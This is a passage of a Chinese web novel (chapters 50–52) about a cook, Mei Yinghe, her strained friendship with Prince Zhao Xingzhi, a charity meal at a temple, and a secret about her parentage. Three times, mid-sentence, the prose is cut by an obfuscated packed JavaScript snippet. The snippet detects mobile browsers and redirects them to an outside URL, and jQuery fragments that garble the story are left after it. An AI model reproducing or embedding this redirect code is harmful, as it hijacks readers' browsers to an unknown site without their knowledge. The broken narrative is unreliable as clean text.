沈聪头摇得像拨浪鼓,“师父那我该怎么办。” “怎么办,我问你,你可是真心对她。” “真心天地可鉴。”沈聪指天起誓。 “别说这些,那我问你,你可能做到日后凡事以她为主,关心她、爱护她、宠着她。”梅映禾逼问。 “这是自然。”沈聪信誓旦旦。 “无论何时不可对她不耐,不可对她生气,此生只她一人,将她捧在手心里,不仅如此,你的家人也要一样对待她,你可能保证。” 沈聪想都不想道:“我能保证,师父在这里看着,若是我做不到要杀要剐我都认了。” 梅映禾松了一口气,梁诗云既然能够同沈聪情投意合,看得必然不是门第和家世,倒不是说顾及门第和家世有什么不好,只是这样的小娘子更加率真、单纯,把感情看得更重,若是选错了人可就要痛苦了。 所幸沈聪是个周正正派真心实意的,梅映禾对此亦是放心。 “那就去追,金山银海往梁府送,丢掉脸皮,耐住性子,任由他家里人搓磨也绝无半分不耐,用你的真心和厚脸皮打动他们。” 梅映禾的教导让沈聪豁然开朗,连连承诺后匆匆道谢离去。 “他是个有勇气的。”望着沈聪的背影,小梅脸上带着笑,“小郎君笃定了,小娘子这边才有底气。” 忽又转头看着梅映禾,“没想到啊,你竟对这种事如此有经验,我当你什么都不知道呢。” 接着又想起什么,低声问她,“早儿,若是你遇到这种情况该当如何?” 梅映禾一愣,看着她问:“什么情况,门不当户不对吗?” 小梅点头。 梅映禾笑了一下,“我此生不嫁。” 小梅:…… 说着说着就不着调了。 临近过年,又落了一场雪。 这场雪下得比先前那场还要大,行路都变得颇为艰难。 这样的天气里,也只有小孩子才是最快乐的。 周围邻居和路过的小孩个个欢天喜地,别管先前认不认识,他们总能打破人与人之间的壁垒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14494534|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秒熟。 然后趁着大人买东西的空当儿彼此在一起玩雪,虽然时间很短,友谊却建立得很快,临分别是还要互道新春祝福。 看得梅映禾很是感慨,“还是做小孩子好啊。” 这两日铺子里终于没有那么忙了,梅映禾整日坐在窗前看雪景看孩子,来了兴致便参与到他们的游戏中,真是太快乐了。 总觉得自己这样冒昧打扰小朋友实在有些不太合适,梅映禾想了想,于是拿出面粉、糯米粉和糖,打算做面人送给他们。 想了想,那些后世可食用的颜料不卫生且没有,于是便调了胡萝卜汁、菠菜汁、绿豆汁、黑豆汁、橘子汁、苹果汁等,勉强配了几种颜色,要先揉面而后上色、雕刻,再配上辅助材料。 比如孙悟空要配个金箍棒,咬下去嘎嘣脆;唐僧要配念珠;猪八戒的九齿钉耙…… 《西游记》是梅映禾最喜欢的,没有之一,所以能做的人物尽可能做出来,一边做还一边在心里念叨:“吴老师,吴大师,别骂我,我这是帮你积累群众基础。” 糖人在张婶儿的配合下做得很成功,小郎君小娘子们个个看了都走不动道儿,梅映禾便来者不拒全部赠送,一边送一边捏一捏软软嫩嫩的小脸蛋,啧啧啧,手感真好,还不忘给小朋友们讲这里头的故事,听得小朋友们不愿离去,大人也只好坐下来点两个菜吃一餐饭。 她便临时充当起了食铺里儿童版的说书先生。 对此梅映禾很是尴尬,真不是故意招揽生意,只是喜欢小孩儿。 这日正在讲孙悟空三打白骨精的故事,尾声之际看到了许久未见的梁诗云。 五娘子清瘦了许多,气色却极好,脸上带着轻松温婉的笑容,看得梅映禾唏嘘不已,“到底是恋爱中的女人,真是好看。” 既然人能出门,想来应当是沈聪的工作做到位了。 一问,果不其然,五娘子一脸幸福甜蜜和骄傲的模样,将沈聪从里到外从上到下夸了个遍。 “他真的太能忍耐了,什么难听的话都不气,还好言好语,我阿爹作势要打人他也不走,任由他打。而且,他实在太宠着我了,就连我阿娘都看不下去了,明里暗里提醒他不可让我太恣意。”五娘子吃着碗里甜甜的乳酪,脸上的笑更是甜得腻人,“我阿娘总说我任性而为没分寸。” 梅映禾下意识点点头,光是这甜腻腻的乳酪,她已经吃了三碗了,这才看了一眼正要送第四碗过来的小梅,让她端了回去。 “五娘子的福气还在后头呢。”梅映禾道,“所以说古人云,祸兮福之所倚,福兮祸之所伏,诚不欺我。” 梁诗云手上的动作顿了一下,似是想起来什么,看着她眨了眨眼,“其实先前也算不得祸。” 她说的是和赵行之的事。 “我自小便倾慕于他,明知他是个冷淡的性子,却总是黏住他。后来日子久了他也拿我没办法,偶有聚宴的时候,他便只同我说话。这便让我很是得意,成了炫耀的资本。” 梁诗云有些不好意思地笑了笑,“其实就是虚荣心,知道他是众多小娘子的心仪郎君,若是我能拿下岂不惹人羡慕。若真心论起来心里有多喜欢他,倒也没有那么多。” 她倒是坦诚。 或许也有避嫌的考虑,可是终究如她所言,定是感情不够深,不然如何能这么快就同沈聪甜如蜜糖谈婚论嫁呢。 梅映禾点了点头,“你自己开心就是最好的。” “你就别骂他了,其实晋王殿下并没有做什么,我甚至连晋王府的门都未曾进过,谈不上始乱终弃,他……” 梁诗云不好意思地笑笑,“这个骂挨得有点儿委屈。” 说曹操曹操到,挨骂的人这会儿刚巧登门,听闻此言,俊朗清逸的脸上竟露出难得一见的委屈。 50. 还在生气 他今日穿了一身墨绿色锦衣,黑色氅衣脱去越发显得整个人俊逸清朗,挺拔如竹,在这样寒天雪地里格外惹眼。 即便是墨绿,于赵行之而言已然太亮丽了些。只不过刚从宫中出来,这一身衣裳实在是不得已而为之。 赵怀风如今龙体抱恙,又值年节,格外喜欢亮丽喜庆的颜色。 “朕记得你儿时尤爱喜庆的颜色,如今怎这般老气横秋。”赵怀风说上两句话就免不了一阵咳嗽。 见他不语,恐他消极抵抗,这才命他每日进宫时穿些鲜亮些,就差下圣旨了。 可是那些红红蓝蓝的颜色,他实在是接受不了,于是便让管家准备了两套这样深色的,一身墨绿一身藏蓝,也算是有了颜色。 晋王殿下本就风姿卓越,常年征战练就了一身强硬体魄,隔着锦衣都能感受到他硬朗结实的胸膛和绝佳的身形比例。 众人片刻的呆愣,梁诗云由衷地感叹了一句:“其实我儿时的眼光还是不错的。” 只话甫一出口,便赶紧拉着婢女溜之大吉。 梅映禾和赵行之的不愉快皆因她而起,彼时她还曾拉着梅映禾细数这位冷面殿下曾经的种种不是: “从小他就冷着脸,我说十句也换不来他一句话,甚至一个眼神。可是他若想跟我说话的时候,我便要立时回应,不然那刀子眼都能剜掉你一块肉。” “我给他送了那么多东西,丝帕、革带、金冠、玉佩、香囊……他竟一个都不收,连退回来都是让仆从来退,更别提回赠礼物了。” “十五岁那年中秋宴,他当众邀我一起赏月观灯,你可知我有多开心,谁知他离了宫城便不知去向,将我一人留在大街上。” …… 如此种种不一而足,实在罄竹难书。 听着就让人生气,梅映禾咬着牙根劝她想开,二人还曾一同骂了他一百句。 没承想,打脸来得这样快。 如今自己柳暗花明了,可是由她而起的二人争端却无法释怀,若不是李绾过来探病,并将赵行之的赔罪礼和心意说清楚,梁诗云还不知自己竟惹下这样大的祸事。 “他们不是关系很好吗,怎么可能因为这点儿旁人的小事就……” 她还曾难以置信地质疑,李绾道:“那位店主娘子一看便是个实心人儿,觉得你受了委屈向着你,对王爷犹如仇敌,可把王爷折磨得寝食难安的。” 梁诗云目瞪口呆,“晋王殿下竟也这般患得患失吗,怎么会呢,为了一个梅小早,不应该啊……” 换来李绾一个意味深长的眼神,身处热恋中的梁诗云这才后知后觉反应过来,“难不成……” 对,就是那个“难不成”,晋王不自知罢了。 得到了李绾的肯定,梁诗云怔愣片刻,随即笑起来,“解铃还须系铃人,那我必然得去跟小早说清楚,一定要化解掉这个误会。” 说完,得意洋洋地看了一眼对面的李绾,“不能让你得逞。” 李绾:…… 这个梁五娘子啊,总是抓不住重点。 眼看着梁诗云慌不择路地逃离现场,梅映禾很是无奈,既然连事主都说了他没错,人家已经过去了,自己断没有过不去的道理,本应该恢复如前的关系,亲亲热热地叫“七哥”然后自然地开开玩笑再给他送来好吃的。 可是,梁诗云虽说得没错,但是赵行之那日显然是拿着梁诗云做挡箭牌,梅映禾不喜欢这种行为,若是在上一世,这种人她一定会敬而远之的,即便是穿越而来,她仍觉得无法接受。 用人靠前不用人靠后,丝毫不顾忌旁人的处境和感受,这种目中无人的行事作风,实在很难苟同。 这种人能做朋友吗,自然是不能的。 所以,梅映禾的脸上并没有因为梁诗云的“澄清”而变得欢快亲切,只不过没有再扔给他大大的白眼已然很客气了。 “殿下想吃什么。” 她不冷不热地上前询问,目光落在手中的纸上,不看他,疏冷客气。 赵行之今日本是来道歉的,进门时看到梁诗云的一刹那便明白她的来意,李绾定是从中使了力气的。 可是既然梁诗云都已经帮他澄清了,小早竟还是这样的态度,说明她没有原谅他。 卡在喉中的话,便只得生生咽了下去,赵行之也不知是其中哪个环节出了差错。 场面一时变得不尴不尬。 “随意就好。”他没了点菜的勇气,索性由她决定吧。 梅映禾二话没说收起菜单转身离去。 这个时辰店里头坐了不少客人,还挺热闹,倒也没人特别留意这边的尴尬。 柜台前头小梅低头算账,一阵风卷入,梅九畴从外头进来,风尘仆仆。 赵行之知道梅九畴和小梅关系很好,本以为蜜里调油的二人又会给自己来一顿暴击,没承想,小梅只抬头看了一眼,便翻着白眼继续算账,甚至好脸色都没有。 赵行之:…… 这是……惹生气了。 梅九畴对上赵行之饶有兴致的眼神,尴尬地笑一笑,随后给了他一个放心的手势,便开始哄小梅。 先是笑着贴近,被推开后又从怀里掏出一包糖炒栗子,得了小梅一句“还不如小早炒的一半好吃”后,又厚着脸皮贴了上去。 高大魁梧的身躯贴蹭着小娘子,活脱一副赖皮模样。 看得赵行之大为震撼,刚想痛骂他一顿,就见小梅的脸上却露出了嫌弃又娇嗔的笑,虽仍是爱答不理可明显雨过天晴了。 梅九畴得意地冲着赵行之挤挤眼,比着口型“学我”,而后又意味深长地看了一眼灶房的方向,给他加油。 赵行之醍醐灌顶,如此真的管用啊。 而后也看向灶房的方向,脑子里浮现出小娘子灿若桃李油盐不进的面庞,无奈地扁了扁嘴,泄气。 暂时歇了心思那便好好吃饭吧,这时候她也正忙着,赵行之便一边看她穿梭忙碌一边慢慢吃饭,至少秀色可餐,对吧。 别管如何生气不原谅,可是送来的菜倒都是他喜欢的,可见小早生气归生气,心里还是心疼他的,如此想来,赵行之心里觉得稍微舒服了一些。 送走了几桌客人午食便基本忙得差不多了,收拾好桌子便又迎来几个同行东家和掌柜,梅映禾便将周大厨替换出来接待,自己跑后厨去忙活。 这几日每日都有同行来取经,梅映禾都让周大厨跟对方交流,主要是教授对方做菜的经验和帮助他们调整一些菜品的口味和材料等,若是周大厨也拿不准的,她才会参与一二。 大厨就是大厨,她的定位应当是东家,梅映禾对未来的发展是有清晰的思路的。 是以,现在周 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有周大厨亲自示范教授,几道菜很快出锅,端出来试吃的时候,铺子里已经只剩下两桌客人了。一桌是三个兄弟因过年回家相聚,长久未见难免饮酒,已经醉得恐怕舌头都麻了,自然尝不出味道。 另一桌便是赵行之,如清风朗月般端坐在食案前,吃得不紧不慢优雅闲适。 梅映禾将几道菜奉上,“七哥帮我尝尝这几道菜味道如何。” 赵行之这才近距离看她,仍旧明媚娇艳,眉眼弯弯如桃李绽放,却仍掩藏不住这明眸善睐背后隐隐的疏离和冷意。 每道菜浅尝辄止,赵行之给出了自己的意见,梅映禾又让店里的人也尝尝,最后自己试了试,果然和赵行之说的一样,不得不说,这位殿下是吃过好的,舌头灵得很。 忙完了前头的事,梅映禾又去了后厨,周大厨和同行调整口味闲聊。 “听说梅东家的新酒楼已经买下来了?”大家消息都很灵通。 周大厨笑道:“对对,正在装修,打算过了年开业,到时候可要捧场啊。” 对方自然是应下,又问:“既是酒楼,那酿酒权可拿到了?不是说中秋前后才会下发一批吗?” 周大厨叹气道:“是啊,东家也在为这个事情奔走发愁呢,又到过年了,署衙本就懒散,这事大舅哥打听了几次,都没什么进展。” 赵行之的目光随即落在梅九畴脸上,梅九畴点了点头,偷偷瞧了一眼妹妹正在后厨不知道忙什么,便走过来坐在他对面: “此事正想找王爷,不知你可有门路早一些拿到酿酒权证。” 周大厨也刚送走了客人,听他们聊这个事便坐下来旁听,“我一早就让东家问问您,王爷嘛,肯定有门路啊,可是东家不应,非说什么不搞特殊,不然跟同行之间要有矛盾的。哪里管他们嫉妒不嫉妒呢,咱们自己好不就行了。” 这是周大厨的话,他性子直爽想做什么说什么毫无顾忌,但是梅映禾不同。 赵行之琢磨着他的话,明白小早的意思,这样年轻的小娘子赚了银子又在行业内占有一席之地,虽说与同行切磋交流从不吝啬,却不能保证有人嫉妒眼红的。 这世上最难测的便是人心。 她是不想惹上麻烦,更不想让自己特殊化。 所以,这个酿酒权要拿还要拿得名正言顺才行。 51. 大锅菜的诱惑 年节临近,街头巷尾张灯结彩喜气洋洋,越发热闹起来。 今年过年梅映禾准备得十分认真,春联福字是请义父写的,窗花年画是张婶儿和周嫂子剪的,阿十带小周买了许多炮仗,九郎和小梅又给每个人都扯布做了一身新衣裳新鞋子。 梅映禾还特意准备了除夕夜的游戏,这个时代不像后世,有春晚看有手机玩,一家人聚在一起还能打牌打麻将玩桌游,这样一群人有老有少,喜好不同擅长不同。 梅映禾画了画,写了小纸条,又精心准备好了礼物,只等除夕夜看大家的手气了。 所有东西都齐备已是到了年二十九。 隔日便是除夕,店铺里也要歇业过年了,梅映禾看着贴满了红色窗花贴纸和福字的店铺,感慨:“今年过年咱们好好热闹一番。” 铺子里所有人连带着奎叔和李婶儿,大家说好了在一处过年,就在梅映禾新买的宅子里。 哈出一股白气,看着街上的人来人往,小梅也缝好了最后一针,低头咬断线头将手里的小衣裳拎起来,冲梅映禾炫耀,“早儿,瞧瞧,是这样的不。” 那是一件领口镶着毛边的小背心,盘扣在背后,锦绣的红缎上团花一簇一簇,甚是可爱。 “正是,正是,嫂嫂的手可真巧。”梅映禾拿在手里反复摸索,又软和又漂亮。 另外两件都比这件稍微大了一些,一件是宝蓝色缎面团花,一件是墨绿色缎面团花,款式盘扣都是一样的,梅映禾爱不释手。 小梅摇头,“也就你能想得起来,还要给小九和拾一拾二做衣裳。” “过年嘛,有钱没钱裁衣过年,怎么能厚此薄彼呢,对吧三小只。”梅映禾兴冲冲地将小九和拾一拾二都抱进怀里,开始给小狗和两只小狸奴穿衣裳。 天气寒冷,虽然张婶儿给三小只做了暖暖的窝,可是白日里几个小家伙还是要出来活动,梅映禾怕冻着它们,心疼得不行。 “宁做盛世狗,不为乱世人。”阿十欣赏着三小只的新衣,禁不住感慨,“去岁普济寺里还有许多外乡过来无处可去的可怜人,大过年的都挤在寺庙里,幸得住持慈悲,不单收留了下来还施了粥,能吃饱不挨饿受冻已经十分不错了。” 梅映禾听他说着,若有所思地点点头,不禁想起了自己。 去年这个时候还是家徒四壁的光景,吃不饱饭,靠着邻居和乡亲们接济度日。 转眼,大半年过去了发生了翻天覆地的变化,靠着自己的双手改变了生活,如今哥哥如愿以偿地参了军也定了亲事,自己的愿望也在一步步实现。 仰头看天,日头雾蒙蒙地躲在看不见的地方,微弱的阳光洒下,冰凉的空气中裹着丝丝缕缕的暖意,却已足够。 这几日来铺子里吃饭的食客明显少了许多,梅映禾复又想起了方才阿十说的事,普济寺的灾民今年仍旧有,虽比去年少了许多却对小小的寺庙而言,那么多人吃喝拉撒仍旧显得捉襟见肘。 瞧着天色尚早,今日已是年二十九了,若是今日能送去些吃的,刚好能赶得上过年,如是想着,梅映禾立马起身直奔后厨。 跟周大厨说明心思,周大厨直竖大拇指:“东家真是菩萨心肠,也算我老周一份,花去的银子从我老周这个月的月银里扣便是。” 可是做什么好呢。 为了过年,张婶儿和周嫂子正在忙着年节吃的食物,有刚炸出锅的麻叶、丸子等,铺子里还有饺子、面饼和一些小菜等,可是梅映禾觉得不够。 “椒子酱啊。”周大厨提醒,“做那个吧,拌饭拌面都好,还容易存放。” 梅映禾点头,如此倒是打开了思路,让她想起了后世的大锅菜。就是那种路边的小推车,车子上摆着七八个炉子,炉火煨着一锅一锅的炖菜,最常见的有猪肉炖粉条、萝卜白菜烧肉、南瓜鸡、冬瓜排骨和清汤羊肉。 这几个菜都好做且越炖越入味,再配上椒子酱,做两个素菜,应当够了。 点上两三个菜浇在米饭上头,热乎乎香喷喷干上一大碗,冬日里吃得浑身冒汗,简直比那山珍海味还要暖心。 大家一起忙活,洗的洗切的切炒的炒炖的炖,七八个炉灶一起上阵,一个多时辰几个菜全都出锅,梅映禾又打包了一整锅卤鸡卤鸭和一些零食蜜饯果子,拉拉杂杂足足装了一大车,带上阿十和小梅往普济寺去了。 普济寺曾是皇家寺庙,先帝还在时这里的香火尤其旺盛,不说年节,就是平日进香也是要排队的。 当今陛下登基后似乎更偏爱元龙寺,这普济寺便只在重大祝祷和活动的时候才会热闹一场。一朝天子一朝臣,寺庙也不例外,好在普济寺的香火依然旺盛,大约是大家都习惯了吧。 手里头忙活这些事,梅映禾的脑子里总是能想起来曾经跟着爹娘一起赈灾救济的景象。 可是九郎说:“没有的事,咱家穷得叮当响,即便是爹娘还在的时候也并不富裕,哪里就有多余的东西赈灾济贫。” 难道是自己做梦吗,梅映禾甩了甩头不作他想,普济寺已在眼前。 住持大师是一位慈眉善目的老者,听闻梅映禾的来意,又看了看她身后一大车子的吃食,眼中的震惊毫不掩藏:“这年头能有施主这般慈悲心肠的已不多见了,施主必得福报。” 福报不福报的梅映禾并不奢求,日子能过到如今这样的情景已然心满意足了。 大家忙着卸下车上的东西,又搬入寺庙里,那些香喷喷的饭菜着实让灾民们为之振奋,锅盖揭开的瞬间香飘四溢,闻着就让人流口水。住持组织灾民排了长队,非常有秩序地领取食物。 这里头上有八旬老妪,下有襁褓中的孩童,看着真是可怜。 住持道:“巧了,小娘子之前刚有贵人过来,那位贵人也同小娘子一般,送了许多衣物银钱,小娘子又送来了吃的,如此今年这个年节托二位的福,算是十分顺遂了。” 听住持此言,梅映禾这才留意到这些灾民身上的衣物多为新的棉衣,脸上头发也是干净整洁的,很是欣慰,“大家若都能如此,住持也能轻松些。” 老和尚好似见了亲人,摇了摇头笑道:“朝廷已有补贴下发,月月份例不少,只不过人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14533861|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太多分到的便不会太多,如此已然不错了,且不知这样的光景要持续到什么时候。” 梅映禾点头,这样吃法,时日短了尚可,若是时间长了定是难以为继,能帮一些是一些吧。 即便如此,也是比上前两年要好了许多的。 同住持大师聊了几句,又约定了下次送物资的日子,梅映禾这才从普济寺离开。 马车遥遥远去,身后普济寺住持大师仍站在原地目送她们,身侧,一身玄色绣金丝蟒纹的高大身形同他一起迎风而立。 “既同是来救济的,王爷合该见一见这位店主才是。” 赵行之嘴角微微上扬却并未回答住持的话,“这大锅菜的味道着实诱人,刚巧本王也有些饿了。” 住持大师似听到了什么难以置信的话,略带错愕地看了他一眼,随即笑着行礼,“王爷请。” 这大锅菜实在太香了,灾民吃得津津有味,赵行之和大师回来的时候饭菜所剩无几,他便也不挑剔,菜汤泡饭又捡了些锅底的菜叶便也是美餐一顿。 住持大师失笑,“听闻王爷的厌食症不医而愈,如今看来是真的遇到了神人。” 赵行之从小便跟着父皇来普济寺,与住持大师算是老相识,“本王想请大师上奏,将今日的情形如实奏禀。” 几日前听闻梅映禾在为酿酒权的事发愁,等到中秋发证不是不可以,只是要等上大半年,于她而言实在是浪费时间,可是提前拿证若是名不正言不顺她也决计不会领受,说不定还要怪他享特权。 他是皇子,享特权天经地义,可是她接受不了。 想起了她生气的样子,赵行之不敢擅自行动,必得动一番脑筋才行。 梅九畴跑了几趟署衙,即便是有熟悉的官员,也或多或少听出来话音,“此事若是自上而下简直易如反掌,若是自下而上简直难如登天。” 赵行之本正在想法子帮她请赏,她便自己跑来救济灾民。 算是巧合,也是她自己挣来的,如此便是名正言顺了。 赵怀风虽下令救济灾民给予补贴,可是毕竟国库有限,若是能得到来自民间的救助,哪怕是再微小也是人多力量大的事。 但是这件事情大家多在观望,见无人牵头便也都装作不知。 梅映禾这算是误打误撞,也是她天性使然,直到赏赐的圣旨拿到手里,梅映禾整个人都是懵懵的。 她去普济寺救助灾民是从心而发,并未想过所求什么,面对宣旨公公一脸笑眯眯的疑问,梅映禾道:“民女做的是分内之事,别无所求。” 公公:…… 这叫咱家回去如何复命。 于是抛砖引玉道:“这是小娘子的一番善心,陛下体恤,也请小娘子体恤陛下的良苦用心,和对小娘子的褒奖。” 哦,这下听懂了。是想通过奖励她鼓励更多人参与到这件事情里,梅映禾点头,想了想,“那,民女可否求一个恩典。” 公公如释重负,“小娘子尽管直说。” 于是,这酿酒权便在大年除夕这一日拿到了手里。 52. 上炷香吧 临近过年得到了这样大的喜讯,梅映禾虽心里隐隐有些想法却依然挡不住高兴。 除夕这日起了个大早,杀鸡宰羊,煎炒烹炸,亲自上阵忙活着年夜饭。 这是在新宅子过的第一个年,也是第一日,铺子里所有的人和三小只并小梅一家都会过来,许且更是一大早就迫不及待过来要帮忙,被梅映禾按到了院子里坐在太阳底下,又拿了软毯盖到腿上,奉上茶水和糕点果子: “您老人家好生闲着,看着三小只便好。” 老大人忙了一辈子,即便是过年,往年不是在宫里头陪着陛下说事,就是在官署里独自忙碌,倒也没觉得形单影只和劳累,只与当下这样的舒适一比较,不得不摇头道: “还是有闺女好。” 刚好赶上梅九畴扛着一只牛腿进来,“阿爹怎地背后说我坏话。” 冬日寒冷的空气里,阳光洒下,倒是照得他额角上的薄汗微微发亮。 许且笑呵呵地虚点着他,“你倒是跟你妹妹学会卖乖了。” 小梅出来接应,一边在围裙上擦手一边看着老爷子,“您老有福气,儿媳妇也能当闺女使。” 老大人笑得开怀,满脸的褶子都闪着红光。 “哪里得来这样大的牛腿。”小梅想要帮忙抬牛腿,被梅九畴拒绝了。 “我一个人行。”说完看了一眼灶房的方向,压低声音道,“七郎送的,知道她爱吃牛肉,特意从宫中赏赐拨过来的。” 牛是耕种用的工具,在这个时代是重要的生产力,寻常人家常吃猪羊,牛肉只能从官署发放中偶然买得,也是极少数的情况。 也只有宫里头才能时常吃得到。 许且将府中的仆从也都带了过来,忙命人接过牛腿,示意梅九畴走近些,看着他单膝蹲在眼前,这才问:“云策可还曾吩咐其他?” 梅九畴摇头。 小梅也在一旁问:“七哥今晚过来吗?” 梅九畴对上二人殷切的眼神,又摇了摇头。 小梅一脸失望,“就差他一个,不圆满了。” 许且扶额叹息:“老夫这辈子教了那么多学生,唯独这一个让老夫甚是满意欣慰,却独独在这等事情上是个不开窍的。” 恨铁不成钢,明明上回点得很透彻了,以赵行之的悟性本不该如此笨拙。这样的喜庆年节,见了面吃顿饭喝点酒聊一聊,还有什么矛盾是化解不开的,还有什么气是值得继续生下去的。 是他犯错在先,总要正式且诚恳地先道歉吧。 再说小早的脾性也是个倔强的,又十分有原则,眼里揉不得沙子,自然看不惯他如此。 许且拈了一块茶点放进嘴巴里,果香溢了满口,清香甜蜜,配上浓茶相得益彰。 眼睛眯起,倒是想起了故人,连梅映禾出来给他添茶都未曾察觉。 “阿爹是困了吗?”梅映禾将许且身上的毯子朝上拉了拉,“不如回房去睡,外头冷,小心着凉。” 许且睁开眼,笑着端详她,小娘子出落得标致,杏眼灼灼,眼珠子格外亮,这些日子太忙人清减了许多,倒是更标致了,白瓷一样的肌肤透着健康的红晕,唇若施脂,清丽又不失妩媚。 像,像极了她。 “你长得像你阿爹还是更像你阿娘。” 冷不丁被许且这么一问,梅映禾倒是有些发愣,仔细想想笑道:“我阿爹英俊高大,阿娘清秀俊俏,我自然更像阿娘,哥哥更像阿爹。” 许且笑着摇头,“我瞧着你倒是更像我的一位故人。” 他没有往下说倒是吊足了梅映禾的胃口,“是什么样的故人,定是位夫人吧,长得好看吗?” “无人能及。”许且说这话的时候脸上洋溢着幸福的笑容。 “那阿爹的这位故人实在太过美貌了,我可不敢相比,不过能得阿爹这样的评价,已然很高兴了。” 小娘子给他倒满茶水又叮嘱他莫要在外头睡着,这才进到灶房里继续忙碌。 午饭吃的就已经很热闹了,梅花村的乡邻过来不少,老村长亲自送来了年货,这是梅映禾没有想到的,再三推辞就是不肯带回去,非要她收下,“这是大家的心意,你若是不收便是瞧不上咱们送的这些不值钱的玩意儿。” 梅映禾哪里会瞧不上,瞧着院子里堆满的鸡鸭鹅和各种蔬菜瓜果,只能收下。 又将普济寺的情况同老村长说了一下,“您征询一下大家的意见,如今我们的日子好过了,能帮就帮一把,也不要白给,这是供应的蔬菜肉食比市场上便宜些便是,住持已然很感激了。” 毕竟拿着皇家的补贴也希望省着点儿花,用的时间更长久些,谁又能说好开了春是个什么光景,这些人能否有机会在京城立足安家,犹未可知。 老村长点头应下,“当初梅花村遭灾的时候,普济寺也送来过斋饭和银钱,这个帮咱们义不容辞。” 如此,便又能好上一些,梅映禾心里高兴。 午饭一直吃到申时三刻方才结束,大家利索地收拾便开始准备年夜饭。 丰盛的酒菜自不必说,梅映禾还准备了各种小节目,小院子里摆了两桌,除了小梅一家和铺子里所有的人包括周大厨一家,还给许府的管家仆从单独开了一桌,大家围坐热热闹闹。 漆黑的夜空中能看到点点星光,猛然间炸开一片烟花点亮了星空,随即而来的便是更多更艳丽的烟花。 许且仰头看天:“每年除夕宫中总要放烟花祈福,祝祷来年风调雨顺,国泰民安。” 看过烟花,梅映禾拿出自己的小游戏,是一幅她亲手画就的地图。 “这张图便是这幢宅子的地图,我已经在不同的地方藏了宝藏,大家可以去翻找,翻到了就是自己的。” 有趣的游戏每个人都跃跃欲试,有人问:“都是什么宝藏呢。” “有银钱、红包、首饰、点心、绢花,不一而足,端看你们的本事了。”梅映禾说,“不过也要小心,或许还有罚酒一杯、唱个小曲之类的惩罚,不得私藏,得老老实实拿出来。” 好可爱的游戏,大家当即四散开来分头去找宝藏。 梅映禾看了看许且,“阿爹不去找宝藏吗?” 许且笑道:“你这丫头鬼点子真多,阿爹就不去了,阿爹要去给见一个故人。” 梅映禾很是诧异,“现在吗,人来了吗?” 许且摇头,朝她招招手,“你随我来。” 宅子虽未曾正式住,各处却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14543705|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已是准备妥当,许且房间是正房,布置得同他现在居住的地方一模一样。 许且将梅映禾带到房间里,隔间的小房间里设了牌位,梅映禾看过去,竟是夫妻二人的牌位。 “这便是我口中的老友,向立岩。此人曾是大名鼎鼎的镇国大将军,战功赫赫名震四方,为大隶朝立下汗马功劳。” 许且看着上面两个牌位开始回忆。 “旁边的是他的夫人,陈郡谢氏之女谢书阳。夫妻二人皆是忠君爱国心系百姓之人,是我们大隶的英雄。” “您方才是说我长得像这位夫人?”梅映禾看着那牌位问。 许且没说是也没说不是,继续讲着这对夫妻的故事: “他们膝下育有三个子女,两个儿子一个十六岁一个十四岁,却亦是不遑多让。小小年纪练就一身武艺,云岗战役时父子三人上阵杀敌,英勇拼杀十日抗击外敌,拼劲最后一口气保住了云岗。” 许且的声音由此变得沙哑起来,语速也慢了下来,“可是,却被诬陷通敌谋逆全族被杀,可怜那时候她们的小女儿才刚满月。” 梅映禾觉得心里咯噔一下,嚯嚯跳个不停,不知为何总有一种极不舒服的感觉。 “老夫无能,那时候虽极力劝阻先帝却依旧无法挽回丝毫,致使英雄蒙冤至今无法昭雪。” 从那以后许且便辞去了宰相之职,无奈先帝不许他致仕,他便从此只做最低等的官员,游走在各个县市村落,与百姓一起远离庙堂不问朝政。 “阿爹……” 梅映禾捂着发闷的胸口,想要劝解两句却不知从何说起。 “小早。”许且盈着泪的双眼看向她,“过来。” 梅映禾乖顺地走过去,只觉心跳得愈发快。 许且燃了三支香递给她,“来,给他们夫妻上炷香吧。” 说完又看向那牌位,“向将军,向夫人,这是小早,她来看你们了。” 梅映禾十分恭敬地敬香、磕头。 跪在蒲团之上再抬头看牌位,仿佛觉得十分亲近,有一种似曾相识的感觉。 “阿爹可有他们夫妇的画像?” 她也不知自己为何有此一问,说完又觉得不妥,刚想改口,许且便从柜子下方的抽屉里拿出两幅画像展开。 一副是将军像,画像上的人剑眉星目一身戎装,眼神凌厉格外精神,只那眉眼之间带着若有似无的熟悉的感觉。 另一幅画像则是她的夫人,梅映禾看到的一刹那呼吸仿佛停止,连她自己都觉得这位夫人长得跟自己极像,只不过她看上去更加温婉柔情,少了梅映禾身上的那股倔强和强硬,多了几分书卷气。 